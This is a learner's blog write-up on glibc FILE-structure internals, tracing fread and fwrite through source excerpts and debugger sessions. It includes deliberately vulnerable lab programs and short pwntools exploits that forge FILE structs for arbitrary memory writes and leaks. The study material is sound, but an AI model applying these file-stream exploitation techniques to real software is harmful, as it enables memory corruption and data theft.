I_O Learning By H1m

文章发布时间:

最后更新时间:

I/O Learning –the func fread

One and a half months since I started, I have learned from the stack to heap and now I am just starting to I/O. I was supposed to study a few days ago, but it was delayed due to my own project and yesterday, I just have been playing a big international matches. in fact, I am looking for some better methods so that I can quickly get started. After asking many friends, I found out pwn.college. it’s the best choice. I need to finish it for one week. i know it is hard for me. However, i will try my best.

I’ve watched these videos and am now going to make a brief summary. This will also serve as the opening part of the article. Let’s get started.

PART1

At the beginning of the first video, the author compared the reading methods of two functions, and it is obvious that we know that the fread function and the fwrite function will be faster.

As we should make it quickly for us to use the libc has some useful func such as fopen, fread, fwrite which will be the key research topics.

Then we pay our attation to the FILE struct, these buffer pointers. The picture below will show some important Pointers.

We some time need to change the flags for only-read or only-write.

At the beginning, we can see the read ptr has the same addr with buf base and read base. Same time read end go with buf end.

Also i will show the mid of the process

After reading all, it will flash the buf and let new bytes to the mem.

Here should konw one one thing. If the file is small we may can not read too much.

The fwrite is similar, so i would not pay more time to analysis. Just give one more picture.

And now, we step into the next ved.

We can totally control the stream by changing its FILE struct.

Just like this.

Rob make a simple exp, so i will use it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <unistd.h>

// Global win variable
int win_var = 0;

void win() {
puts("You Win!");
}

int main(int argc, char **argv) {
// leak win_var
printf("win_var is located at: %p\n", &win_var);

// Open a file
FILE *file_pointer = fopen("./flag", "r");

// Overwrite the file struct from stdin
read(0, file_pointer, 0x100);

// Call freed on the file
char buf[256];
puts("Calling freed!");
fread(buf, 1, 10, file_pointer);

if (win_var) {
win();
}
}

Next i will try it by myself.

1
2
3
4
5
6
7
8
9
context.arch = 'amd64'
p = process('./a.out')
p.recvuntil(b'at: ')
win_var_leak = int(p.recvline()[:-1],16)
print(hex(win_var_leak))

fp = FileStructure()

p.interactive()```

To think of something, first we shoule pay attaention to what is FileStructure

Let’s see more.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import*
>>> fp = FileStructure()
>>> fp
{ flags: 0x0
_IO_read_ptr: 0x0
_IO_read_end: 0x0
_IO_read_base: 0x0
_IO_write_base: 0x0
_IO_write_ptr: 0x0
_IO_write_end: 0x0
_IO_buf_base: 0x0
_IO_buf_end: 0x0
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x0
_flags2: 0x0
_old_offset: 0xffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

<font style="color:rgb(31, 9, 9);"> </font><font style="color:rgb(31, 9, 9);">Here is what filestructure look like.</font>

```plain
context.arch = 'amd64'
p = process('./a.out')
p.recvuntil(b'at: ')
win_var_leak = int(p.recvline()[:-1],16)
print(hex(win_var_leak))

fp = FileStructure()
payload = fp.read(win_var_leak, 20)
p.send(payload)
p.interactive()```

We can finally finish our first exp! And why should this do such func. We should pay more to find out.

Take somtime to see this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0x63cc3dfd4014
{ flags: 0x0
_IO_read_ptr: 0x0
_IO_read_end: 0x0
_IO_read_base: 0x0
_IO_write_base: 0x0
_IO_write_ptr: 0x0
_IO_write_end: 0x0
_IO_buf_base: 0x63cc3dfd4014
_IO_buf_end: 0x63cc3dfd4028
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x0
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}```

when we use fp.read(). it will definitly change the values. And it will fit all the requuirements!

Now i will have a quick understanding of this function, so i use CHATGPT, but when you read deeper i will show more details and use the source code to analysis, AI may not as right so just make a simple glance:)

PART2

WHAT AI SAID

The <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fread</font> function is a high-level, buffered input operation. Its primary goal is to minimize expensive system calls by reading large chunks of data from the operating system into an internal buffer, and then serving user requests from that buffer.

Here is the typical execution flow:

1.Validate the FILE Stream

<font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">if (!_IO_valid_file(file_pointer)) return EOF;</font>

Before any operation, <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fread</font> must check if the provided <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">FILE*</font> (file pointer) is valid and usable.

2.Check the Internal Buffer (User-Space Buffer)

1
2
3
4
5
6
7
if (file_pointer->_IO_read_ptr < file_pointer->_IO_read_end) {
size_t avail = file_pointer->_IO_read_end - file_pointer->_IO_read_ptr;
size_t to_copy = min(requested_size, avail);
memcpy(user_buf, file_pointer->_IO_read_ptr, to_copy);
file_pointer->_IO_read_ptr += to_copy;
return to_copy;
}

Explanation: This is the core of buffered I/O. The FILE structure contains pointers to manage its internal buffer: _IO_read_ptr: Current position in the buffer for reading. _IO_read_end: End of the valid data in the buffer.

The Check: If _IO_read_ptr < _IO_read_end, it means there is still data left in the buffer from a previous read operation.

3.If the Buffer is Empty, Call the Underlying Read Function

<font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">bytes_read = _IO_file_xsgetn(file_pointer, user_buf, requested_size);</font>

Explanation: If the internal buffer is empty (_IO_read_ptr >= _IO_read_end), control is passed to a lower-level function, typically _IO_file_xsgetn.

So If we meet the requirements mentioned above, we can bypass the detection.

Back to the normal process, we will see

this is i add some code after fread func, and this time i will use no exp to bypassing it.

printf("%s\n",buf);```

REALLY CHECK

The overall process involves the fread function calling IO_file_xsgetn from the vtable, where IO_file_xsgetn serves as the core function of fread. Its workflow can be roughly summarized as follows:

1.Check if the input buffer fp->_IO_buf_base is empty. If it is, call _IO_doalllocbuf to initialize the input buffer.

2.After allocating the input buffer or if the input buffer is not empty, check whether the input buffer contains any data.

3.If data exists in the input buffer, it is directly copied to the user buffer. If there is no data or insufficient data, the _underflow function is called to execute a system call, reading data into the input buffer before copying it to the user buffer.

The function prototype of fread is:

<font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">size_t fread(void *ptr, size_t size, size_t count, FILE *stream);</font>

Where:

ptr: Pointer to the location where the result is stored.

size: Size of each data type.

count: Number of data elements.

stream: File pointer.

The function returns the number of data elements successfully read.

1
2
3
4
5
6
7
8
#include<stdio.h>
int main(){

FILE* fp = fopen("flag","rb");
char *ptr = malloc(0x20);
fread(ptr, 1, 20, fp);
return 0;
}```

Before fread we set a point and use r

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$1 = {
file = {
_flags = -72539000,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7e1b6a0 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x555555559380,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x555555559390,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7e17600 <_IO_file_jumps>
}```

When I call fread, I will execute this code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);

bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)
}

Then we goto _IO_sgetn

1
2
3
4
5
6
7
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n);
}
libc_hidden_def (_IO_sgetn)

goto _io_xsgetn

<font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)</font>

<font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_file_xsgetn</font> is the core function that handles data reading for <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fread</font>. It can be divided into the following parts:

  1. When <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_buf_base</font> is NULL, it indicates that the pointers in the FILE structure are uninitialized and the input buffer has not been established. In this case, <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_doallocbuf</font> is called to initialize the pointers and set up the input buffer.
  2. When there is data in the input buffer (i.e., <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_read_ptr</font> is less than <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_read_end</font>), the data from the buffer is directly copied to the target buffer.
  3. If the input buffer is empty or cannot fully satisfy the read request, <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">__underflow</font> is called to invoke a system call and read data into the input buffer.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data;

want = n;

if (fp->_IO_buf_base == NULL)
{
...
_IO_doallocbuf (fp);
}

while (want > 0)
{

have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
if (have > 0)
{
...
memcpy (s, fp->_IO_read_ptr, have);
s += have;

want -= have;
fp->_IO_read_ptr += have;
}


if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
...
return n - want;
}
libc_hidden_def (_IO_file_xsgetn)

STAGE1

First, when <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_buf_base</font> is NULL, meaning the input buffer has not been established, the code calls <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_doallocbuf</font> to create the input buffer. Let’s follow into the <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_doallocbuf</font> function to see how it initializes the buffer and allocates space for the input buffer. The file is located in <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">/libio/genops.c</font>.

1
2
3
4
5
6
7
8
9
10
11
void
_IO_doallocbuf (_IO_FILE *fp)
{
if (fp->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0)
if (_IO_DOALLOCATE (fp) != EOF)
return;
_IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);
}
libc_hidden_def (_IO_doallocbuf)

The function first checks whether <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_buf_base</font> is NULL. If it is not NULL, it indicates that the input buffer has already been initialized, and the function returns directly. If it is NULL, the function then checks <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_flags</font> to see if it is <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_UNBUFFERED</font> or if <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_mode</font> is greater than 0. If either condition is met, it calls <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_file_doallocate</font> from the FILE’s vtable. Let’s follow into this function, located in <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">/libio/filedoalloc.c</font>.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
_IO_file_doallocate (_IO_FILE *fp)
{
_IO_size_t size;
char *p;
struct stat64 st;

...
size = _IO_BUFSIZ;
...
if (fp->_fileno >= 0 && __builtin_expect (_IO_SYSSTAT (fp, &st), 0) >= 0)
{
...
if (st.st_blksize > 0)
size = st.st_blksize;
...
}
p = malloc (size);
...
_IO_setb (fp, p, p + size, 1);
return 1;
}
libc_hidden_def (_IO_file_doallocate)

And we still keep going to the func <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_setb</font>

1
2
3
4
5
6
7
8
9
void
_IO_setb (_IO_FILE *f, char *b, char *eb, int a)
{
...
f->_IO_buf_base = b;
f->_IO_buf_end = eb;
...
}
libc_hidden_def (_IO_setb)

After setting <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_buf_base</font> and <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_buf_end</font>, once <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">IO_setb</font> finishes executing, these two pointers in <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp</font> are assigned their values.

To have more inform we should download something, we put the glibc-2.35 to /usr/src/glibc/glibc-2.35.

And we can see these

We will use some of the file to better trace our program.

using the command below.

<font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">pwndbg> directory /usr/src/glibc/glibc-2.35/libio</font>

also we should use step or next to join or skip another func such as belows.

_IO_XSGETN is a macro. If we step directly, we can get the following diagram.

Due to its uninit we can see it go there as below

After make the size we will see the filestructure again

Still we can see the point will have some values.

For there we finish the stage1

STAGE2

Next, the program enters stage2: copying data from the input buffer.If the buffer already contains data, it is copied directly to the destination buffer.

Here we can see that

  • <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_read_ptr</font> points to the start of the input buffer,
  • <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_read_end</font> points to the end of the input buffer.

The region between these two pointers is copied to the destination buffer with <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">memcpy</font>.

When the input buffer is empty or does not satisfy the request, execution proceeds to the final step:**<font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">__underflow</font>**, which issues the <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">read</font> system call to refill the buffer.In our example this is the first read, so both <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_read_ptr</font> and <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_read_end</font> are NULL;consequently we enter <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">__underflow</font>. The implementation is located in /libio/genops.c—let’s step into it.

1
2
3
4
5
6
7
8
9
10
int
__underflow (_IO_FILE *fp)
{
...
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...
return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)

Invoke the <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_UNDERFLOW</font> function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
...
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...
if (fp->_IO_buf_base == NULL)
{
...
_IO_doallocbuf (fp);
}
...
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
...
fp->_IO_read_end += count;
...
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

This <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_new_file_underflow</font> function is the point where the system call is ultimately invoked. Before finally executing the system call, there are still some checks. The entire process is as follows:

  1. Check whether the <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_flags</font> field of the FILE structure contains <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_NO_READS</font>. If this flag is present, it directly returns <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">EOF</font>. The <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_NO_READS</font> flag is defined as:<font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">#define _IO_NO_READS 4 /* Reading not allowed */</font>
  2. If <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_buf_base</font> is <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">NULL</font>, call <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_doallocbuf</font> to allocate the input buffer.
  3. Then, initialize and set the FILE structure pointers, setting all of them to <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_buf_base</font>.
  4. Call <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_SYSREAD</font> (the <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">_IO_file_read</font> function in the vtable), which ultimately executes the <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">read</font> system call.The data is read into <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_buf_base</font>, and the read size is the input buffer capacity:<font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_buf_end - fp->_IO_buf_base</font>.
  5. Then mark the amount of data now available in the input buffer by updating<font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">fp->_IO_read_end += count</font>

After these functions, all pointers in the FILE structure have been initialized, the file data has been read in, and the input buffer now contains valid data.

Let’s see it!!!

for here we will ret to _IO_file_xsgetn because of the <font style="color:rgb(31, 9, 9);background-color:rgb(218, 218, 218);">while</font>

Then we will go another process, because i just close it…

STAGE3

JUST open it again,let ‘s reback here.’

After execute the _IO_read_file we can see this

1
2
3
4
5
6
7
_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? read_not_cancel (fp->_fileno, buf, size)
: read (fp->_fileno, buf, size));
}

Here we have let our flag into the buf and have set all the points.

Then, try to see the heap

Here must be our PTR which we finally will let flag in.

let’s continue to trace.

We can see the end of read ptr will add the size of flag

Then we back to _IO_file_xsgetn as below

This time we will go to a place which want>have but have>0

And we exactlly go there i am right

After the memcpy we can definitly see flag be the place in the heap

Also we will continue to go to wiile because the size of flag is 18 but we need 2 more. if you are confused, just see the source code above.

Let us see this picture

We back here and go the way.

Till here, all about the fread has been done, that’s fun, isn’t it?

NONONO, we still have something to do

PART3

Hold on BRO, we are nearly here!!!

When we call the fread function, it first checks if our buf is not empty, and then it does the build. Next, he will shift all the pointers towards the buf base. Execute the read function inside, read the contents of the file to our buff position, and mutate the read end pointed. Returning to the loop, If we what we have bigger then we want, we can allocate them directly. If we still want more than we have, we will allocate a portion and go through the above steps again. This is the entire process of this function

NOW, i mean we should just reback to the exp for why it can success.

payload = fp.read(win_var_leak, 20)```

This is what we do!

And we do make the fp amazingggg

1
2
3
4
5
6
7
8
9
10
_IO_read_ptr: 0x0
_IO_read_end: 0x0
_IO_read_base: 0x0
_IO_write_base: 0x0
_IO_write_ptr: 0x0
_IO_write_end: 0x0
_IO_buf_base: 0x63cc3dfd4014
_IO_buf_end: 0x63cc3dfd4028
...
fileno: 0x0

When our fread see this. And we still go to the function _IO_file_xsgetn, but this time we check for we have buf addr. so we go straight to the __underflow and this time we read from stdin because we make fileno 0x0, so when we put our data in the terminal, we will make them fill the win_var_addr. then we can trigger the WIN. That’s it.

I/O Learning –the func fwrite

HI guys. It’s me again. Now i will let the ‘I/O Learning’ to the second part. we will go to the func fwrite.

PART1

As the beginning, we should alawys check the Flowchart:

As similarly, we make a simple program to strace the whole flow.

1
2
3
4
5
6
7
8
9
#include<stdio.h>

int main(){

FILE* fp = fopen("flag","wb");
char *ptr = malloc(0x20);
fwrite(ptr, 1, 0x20, fp);
return 0;
}

Just as before we break at line 7 and use r

STAGE1

here we continue to step

At beginning, almost no points has been initialized.

Here, we enter the first function _IO_new_file_xsputn. Its primary function is to determine how much space is left in the output buffer.

In the scenario described by the sample program, values like f->_IO_write_end and f->_IO_write_ptr are both 0, indicating that the current output buffer size is 0.

Another part of its logic is that if the output buffer still has free space, it copies the target (in the program we called “ptr” also called “s”) output data into this buffer. It then calculates whether any target data remains after the output buffer has been filled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{

_IO_size_t count = 0;
...
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
if (count > 0)
{
if (count > to_do)
count = to_do;
...
memcpy (f->_IO_write_ptr, s, count);
f->_IO_write_ptr += count;
s += count;
to_do -= count;
Certainly, we will go to the way where count = 0. Then we will step into _IO_OVERFLOW

STAGE2

We go step!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}

if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}

The __overflow function first checks if the flags field of the _IO_FILE structure contains the _IO_NO_WRITES flag. If the flag is set, the function returns immediately.

It then checks if f->_IO_write_base is NULL. A NULL value indicates that the output buffer has not been initialized/allocated. In this case, the function calls _IO_doallocbuf to allocate the output buffer.

As we have already analyzed the source code of the _IO_doallocbuf function in the previous section on fread, we will not delve into it again here. we just see the result. But notice one thing, HERE we also Initialize the read point by using the func of _IO_setg.

Then after some Assign, we can see all the point has the values.

Continue to next func

The function calls new_do_write; step into it. The implementation is in /libio/fileops.c.

We can see there to_do is 0 because the write base is the same as write ptr so we will never go to new_do_write. then we ret with 0 then we ret to the upper-level function, I will make a direcction below.

1
2
3
4
5
6
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF) ##
return EOF;

Here we will also got a 0 and goto upper-level function

Just use step we will step into the function below

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
_IO_default_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (char *) data;
size_t more = n;
if (more <= 0)
return 0;
for (;;)
{
/* Space available. */
if (f->_IO_write_ptr < f->_IO_write_end)
{
size_t count = f->_IO_write_end - f->_IO_write_ptr;
if (count > more)
count = more;
if (count > 20)
{
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
}
else if (count)
{
char *p = f->_IO_write_ptr;
ssize_t i;
for (i = count; --i >= 0; )
*p++ = *s++;
f->_IO_write_ptr = p;
}
more -= count;
}
if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
break;
more--;
}
return n - more;
}
libc_hidden_def (_IO_default_xsputn)

After we go there

We can see the write ptr has add the 0x20 due to the f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);

if we use the program below we could see something more!!!

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<stdlib.h>
int main(){

FILE* fp = fopen("./flag","ab");
char *ptr = malloc(0x20);
strcpy(ptr, "flag{123456789}");
fwrite(ptr, 1, 0x20, fp);
return 0;
}

The same as our read let the data on our ptr first, then to write or read

(Before we go continue we check our flag find out it was cleared????WHY

because we use w as its arg, so as the func open finished all the flag will be cleared)

PART2

Now we back to the vedio.

Rob make this program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <unistd.h>

char secret_message[] = "SECRET_FLAG_VALUE";

int main(int argc, char **argv) {
// leak secret_message
printf("secret_message is located at: %p\n", &secret_message);

// Open a file
FILE *file_pointer = fopen("/dev/null", "w");

// Overwrite the file struct from stdin
read(0, file_pointer, 0x100);

// Call fwrite on the file
char buf[256];
puts("Calling fwrite!");
fwrite(buf, 1, 40, file_pointer);

return 0;
}
We also make the exp for this problem
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.arch = 'amd64'
p = process('./a.out')
p.recvuntil(b'at: ')
win_var_leak = int(p.recvline()[:-1],16)
print(hex(win_var_leak))

fp = FileStructure()
payload = fp.write(win_var_leak, 20)
print(fp)
p.send(payload)
p.interactive()
As we can see 

Let’s have some check

In the func of _IO_new_file_overflow, we could see one thing

if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL), we will go straight to the place

1
2
3
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
we go to this func 
1
2
3
4
5
6
7
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
...
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
...
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
At count = _IO_SYSWRITE (fp, data, to_do); here we see data was our win addr and fileno: 0x1, This time we will put on our screen

That is soooooooo beautiful.

FINALLY

Hi bro if you see here, wooooowwww, you made it. And i also made it. I really like pwn and i trust myself to be a pwn master

HI IF YOU LIKE THIS ARTICLE. GIVE ME A STAR!!! THANK YOU~~ SEE YOU NEXT TIME!!!

LINK

https://wiki.wgpsec.org/knowledge/ctf/iofile.html

